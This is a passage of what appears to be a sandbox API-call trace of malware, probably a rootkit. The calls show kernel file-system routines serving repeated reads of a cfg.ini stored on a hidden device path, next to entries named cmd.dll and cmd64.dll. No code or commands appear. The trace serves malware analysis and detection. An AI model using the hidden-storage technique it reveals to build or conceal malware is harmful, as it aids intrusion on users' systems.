| out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.719] KeEnterCriticalRegion () [0097.719] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.719] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.719] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.719] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.719] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.719] IdePortDispatch () returned 0x103 [0097.719] KeWaitForMutexObject () returned 0x0 [0097.719] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.719] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.719] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.719] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.719] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.719] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ce560 [0097.719] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.719] KeLeaveCriticalRegion () [0097.719] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.719] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.719] KeEnterCriticalRegion () [0097.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.720] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.720] KeLeaveCriticalRegion () [0097.720] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.720] KeEnterCriticalRegion () [0097.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.720] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.720] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.720] IdePortDispatch () returned 0x103 [0097.720] KeWaitForMutexObject () returned 0x0 [0097.720] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.720] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.720] KeLeaveCriticalRegion () [0097.720] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.720] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.720] KeEnterCriticalRegion () [0097.720] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.720] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b36000 [0097.720] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.720] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.721] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.721] IdePortDispatch () returned 0x103 [0097.721] KeWaitForMutexObject () returned 0x0 [0097.721] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.721] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.721] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.721] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.721] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.721] IdePortDispatch () returned 0x103 [0097.721] KeWaitForMutexObject () returned 0x0 [0097.721] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.721] KeLeaveCriticalRegion () [0097.721] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.722] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.722] KeEnterCriticalRegion () [0097.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.722] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.722] KeLeaveCriticalRegion () [0097.722] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.722] KeEnterCriticalRegion () [0097.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.722] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.722] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038ef3a0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.722] KeLeaveCriticalRegion () [0097.722] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.722] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.722] KeEnterCriticalRegion () [0097.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.722] ExFreePoolWithTag (P=0xfffffa80037ce560, Tag=0x0) [0097.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.722] KeLeaveCriticalRegion () [0097.722] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.722] ReleaseMutex (hMutex=0x130) returned 1 [0097.722] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.722] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="version", lpDefault="0.0", lpReturnedString=0x22bf8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="0.03") returned 0x4 [0097.722] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.722] KeEnterCriticalRegion () [0097.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.723] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.723] IdePortDispatch () returned 0x103 [0097.723] KeWaitForMutexObject () returned 0x0 [0097.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.723] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.723] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.723] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.723] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.723] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038f0bf0 [0097.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.723] KeLeaveCriticalRegion () [0097.723] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.723] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.723] KeEnterCriticalRegion () [0097.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.723] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.723] KeLeaveCriticalRegion () [0097.723] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.723] KeEnterCriticalRegion () [0097.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.724] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.724] IdePortDispatch () returned 0x103 [0097.724] KeWaitForMutexObject () returned 0x0 [0097.724] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.724] KeLeaveCriticalRegion () [0097.724] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.724] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.724] KeEnterCriticalRegion () [0097.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.724] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b37000 [0097.724] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.724] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.724] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.724] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.724] IdePortDispatch () returned 0x103 [0097.725] KeWaitForMutexObject () returned 0x0 [0097.725] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.725] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.725] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.725] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.725] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.725] IdePortDispatch () returned 0x103 [0097.725] KeWaitForMutexObject () returned 0x0 [0097.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.725] KeLeaveCriticalRegion () [0097.725] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.725] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.725] KeEnterCriticalRegion () [0097.725] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.725] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.725] KeLeaveCriticalRegion () [0097.725] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.726] KeEnterCriticalRegion () [0097.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.726] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.726] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038e0070, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.726] KeLeaveCriticalRegion () [0097.726] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.726] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.726] KeEnterCriticalRegion () [0097.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.726] ExFreePoolWithTag (P=0xfffffa80038f0bf0, Tag=0x0) [0097.726] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.726] KeLeaveCriticalRegion () [0097.726] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.726] ReleaseMutex (hMutex=0x130) returned 1 [0097.726] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.726] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="installdate", lpDefault="0", lpReturnedString=0x227f8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="6.12.2016 9:36:14") returned 0x11 [0097.726] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.726] KeEnterCriticalRegion () [0097.726] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.726] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.726] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.726] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.726] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.726] IdePortDispatch () returned 0x103 [0097.727] KeWaitForMutexObject () returned 0x0 [0097.727] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.727] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.727] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.727] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.727] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.727] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038f0330 [0097.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.727] KeLeaveCriticalRegion () [0097.727] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.727] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.727] KeEnterCriticalRegion () [0097.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.727] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.727] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.727] KeLeaveCriticalRegion () [0097.727] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.727] KeEnterCriticalRegion () [0097.727] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.727] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.727] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.727] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.727] KeInitializeEvent (in: Event=0xfffff880027da620, Type=0x0, State=0 | out: Event=0xfffff880027da620) [0097.727] IdePortDispatch () returned 0x103 [0097.728] KeWaitForMutexObject () returned 0x0 [0097.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.728] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.728] KeLeaveCriticalRegion () [0097.728] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.728] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.728] KeEnterCriticalRegion () [0097.728] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.728] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b38000 [0097.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.728] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.728] IdePortDispatch () returned 0x103 [0097.728] KeWaitForMutexObject () returned 0x0 [0097.728] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.728] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.728] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5010 [0097.728] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5010) [0097.728] KeInitializeEvent (in: Event=0xfffff880027da5d0, Type=0x0, State=0 | out: Event=0xfffff880027da5d0) [0097.728] IdePortDispatch () returned 0x103 [0097.729] KeWaitForMutexObject () returned 0x0 [0097.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.729] KeLeaveCriticalRegion () [0097.729] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.729] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.729] KeEnterCriticalRegion () [0097.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.729] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.729] KeLeaveCriticalRegion () [0097.729] _snprintf (in: _Dest=0xfffff880027da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.729] KeEnterCriticalRegion () [0097.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.729] IoGetRequestorProcess (Irp=0xfffffa8003671350) returned 0xfffffa800389eb30 [0097.729] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038f03f0, ProcessId=0xfffffa800389eb30, Context=0x0) returned 0xc000007e [0097.729] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.729] KeLeaveCriticalRegion () [0097.729] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.729] _snprintf (in: _Dest=0xfffff880027da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.729] KeEnterCriticalRegion () [0097.729] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.730] ExFreePoolWithTag (P=0xfffffa80038f0330, Tag=0x0) [0097.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.730] KeLeaveCriticalRegion () [0097.730] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.730] ReleaseMutex (hMutex=0x130) returned 1 [0097.730] WaitForSingleObject (hHandle=0x130, dwMilliseconds=0xffffffff) returned 0x0 [0097.730] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="builddate", lpDefault="0", lpReturnedString=0x223f8, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="351") returned 0x3 [0097.730] _snprintf (in: _Dest=0xfffff880027da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.730] KeEnterCriticalRegion () [0097.730] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.730] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.730] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.730] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa80038a5e40) [0097.730] KeInitializeEvent (in: Event=0xfffff880027da2c0, Type=0x0, State=0 | out: Event=0xfffff880027da2c0) [0097.730] IdePortDispatch () returned 0x103 [0097.730] KeWaitForMutexObject () returned 0x0 [0097.730] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0097.730] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.730] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0097.730] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0097.730] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0097.730] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038ef0d0 [0097.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.731] KeLeaveCriticalRegion () [0097.731] IofCompleteRequest (Irp=0xfffffa8003671350, PriorityBoost=0) [0097.731] _snprintf (in: _Dest=0xfffff880027da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.731] KeEnterCriticalRegion () [0097.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.731] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003671350, Context=0x0) returned 0x0 [0097.731] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.731] KeLeaveCriticalRegion () [0097.731] _snprintf (in: _Dest=0xfffff880027da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0097.731] KeEnterCriticalRegion () [0097.731] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0097.731] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800389fd60 [0097.731] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800389fd60 | out: Irp=0xfffffa800389fd60) returned 0xfffffa80038a5e40 [0097.731] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa80038a5e40, AccessMode=0x0, Operation=0x2 | out: 